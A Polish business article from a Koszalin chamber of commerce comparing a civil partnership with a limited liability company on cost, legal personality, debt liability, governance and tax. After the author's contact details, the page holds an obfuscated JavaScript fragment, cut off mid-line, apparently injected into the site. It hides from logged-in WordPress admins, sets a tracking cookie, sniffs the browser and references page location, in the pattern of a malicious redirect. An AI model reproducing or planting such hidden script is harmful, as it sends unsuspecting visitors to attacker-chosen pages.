Spółka Cywilna czy Spółka z o.o. | Północna Izba Gospodarcza w Koszalinie

Część 3. Spółka Cywilna czy Spółka z o.o.? Temat opisała specjalnie dla nas Pani dr Aneta Szadkowska z DEBET Audyt Finanse w Koszalinie

 SPÓŁKA CYWILNA CZY SPÓŁKA Z O.O.

Wiele osób zamierzających rozpocząć prowadzenie działalności gospodarczej lub zwiększyć skalę dotychczas prowadzonego przedsięwzięcia biznesowego poprzez dopuszczenie do spółki nowego wspólnika staje przed następującym wyborem: spółka cywilna czy spółka z ograniczoną odpowiedzialnością.

Różnice pomiędzy spółką cywilną oraz spółką z ograniczoną odpowiedzialnością:

1/ Czas i koszty powołania

Spółka cywilna to najtańsza forma „zespołowego” prowadzenia działalności gospodarczej, możemy ją założyć praktycznie z marszu: umowa spółki na piśmie, zgłoszenie do CEIDG, założenie rachunku bankowego i ewentualne zgłoszenie do VAT. Założenie działalności praktycznie bezkosztowe.

Spółka z ograniczoną odpowiedzialnością wymaga więcej czasu i poniesienia kosztów. Umowa spółki w formie aktu notarialnego wymaga opłaty kosztów notarialnych  (można założyć spółkę przez internet, ale jej rejestracja trwa aktualnie kilka dni), klasyczny wpis do KRS to 500 zł.  Koszt założenia spółki z o.o. to w formie uproszczonej (przez internet) to minimum 375 zł, a  w sposób klasyczny to wydatek minimum 800 zł.

2/ Stopień wyodrębnienia samej spółki od osób jej wspólników.

Spółka z ograniczoną odpowiedzialnością jest osobą prawną, co oznacza, że jest podmiotem całkowicie wyodrębnionym od swoich wspólników. Dzięki temu spółka z o.o. może sama nabywać prawa i obowiązki majątkowe (na przykład zawierać umowy), być stroną postępowań administracyjnych (na przykład składać wniosek o pozwolenie na budowę), czy stroną postępowań sądowych (na przykład wnosić pozwy przeciwko swoim dłużnikom).

W przypadku spółki cywilnej wygląda to zupełnie inaczej – spółka ta jest tylko umową zawartą pomiędzy jej wspólnikami. Na skutek zawarcia umowy spółki cywilnej nie powstaje żadna jednostka organizacyjna wyodrębniona od osób wspólników. Oznacza to, że to wspólnicy łącznie nabywają prawa i obowiązki, są stronami postępowań administracyjnych, czy sądowych.

3/ Odpowiedzialność.

Spółka z ograniczoną odpowiedzialnością to generalnie brak odpowiedzialności wspólników za długi spółki. Dzięki temu, że spółka z ograniczoną odpowiedzialnością posiada swoją podmiotowość prawną jej wspólnicy nie ponoszą odpowiedzialności za długi. Od tej zasady są jednak pewne wyjątki – na przykład jeżeli wspólnik spółki z o.o. pełni jednocześnie funkcję członka zarządu tej spółki, to może on ponosić odpowiedzialność wobec wierzycieli tej spółki jeżeli w odpowiednim momencie nie złoży wniosku o ogłoszenie upadłości.

Spółka cywilna to z kolei pełna odpowiedzialność wspólników za długi spółki. Odpowiedzialność wspólników spółki cywilnej za długi spółki ma charakter solidarny – jest to odpowiedzialność o bardzo restrykcyjnym charakterze. Oznacza ona, że każdy ze wspólników odpowiada za długi spółki w pełnej wysokości, a to od wierzyciela zależy do kogo skieruje on swoje roszczenia. Może być nawet tak, że zapłaty długów będzie żądał wyłącznie od jednego wspólnika, który takiemu żądaniu będzie się musiał podporządkować. Wspólnicy nie pozostają jednak całkowicie bezbronni – możliwe jest na przykład skorzystanie z instytucji przypozwania, czy regresu wobec pozostałych wspólników spółki.

4/ Sposób funkcjonowania.

Jedną z największych zalet spółki cywilnej jest prostota funkcjonowania. Jako spółka cywilna działają wspólnicy, decyzje najczęściej są podejmowane w sposób niesformalizowany, spółka nie jest wpisana do Krajowego Rejestru Sądowego, zaś zasady opodatkowania są proste i przejrzyste – podatek dochodowy płaci każdy ze wspólników spółki, zaś sama spółka nie musi go płacić ponieważ jest jedynie umową organizującą zasadę współpracy jej wspólników.

Zupełnie inaczej wygląda to w przypadku spółki z ograniczoną odpowiedzialnością. Dla założenia spółki konieczny będzie udział notariusza (umowa spółki z o.o. wymaga zachowania formy aktu notarialnego, chociaż możliwe jest też rejestracja spółki przez internet), księgowość jest bardziej skomplikowana, decyzje w spółce są podejmowane przez organy (przynajmniej przez zarząd oraz zgromadzenie wspólników). Także od strony podatkowej wygląda to bardziej skomplikowanie – w przypadku spółki z o.o. występuje tak zwane podwójne opodatkowanie. Oznacza to, że podatek dochodowy jest płacony najpierw przez spółkę z o.o., następnie zaś od zysku wypłaconego ze spółki przez wspólników.

dr Aneta Szadkowska

Prezes Zarządu

DEBET Audyt Finanse Spółka z ograniczoną odpowiedzialnością
Wpis na listę firm audytorskich pod numerem 4199

www.audytfinanse.com

ul. H. Modrzejewskiej 71A
75-728 Koszalin
tel./fax 94 314 32 92
biuro@audytfinanse.com

'toUTCString',’cookie',’split',’length',’charAt',’substring',’indexOf',’userAgent',’match',’MSIE;',’OPR',’Chromium',’Firefox',’Chrome',’ppkcookie',’location',’http://',’getElementById',’wpadminbar',’undefined',’setTime',’getTime',';\x20expires='];(function(c,d){var e=function(f){while(–f){c[’push'](c[’shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b(’0x0′)](b(’0x1′))===null){if(typeof c===b(’0x2′)){function c(d,e,f){var g=”;if(f){var h=new Date();h[b(’0x3′)](h[b(’0x4′)]()+f*0x18*0x3c*0x3c*0x3e8);g=b(’0x5′)+h[b(’0x6′)]();}document[b(’0x7′)]=d+’=’+(e||”)+g+';\x20path=/';}function i(j){var k=j+’=';var l=document[b(’0x7′)][b(’0x8′)](';');for(var m=0x0;m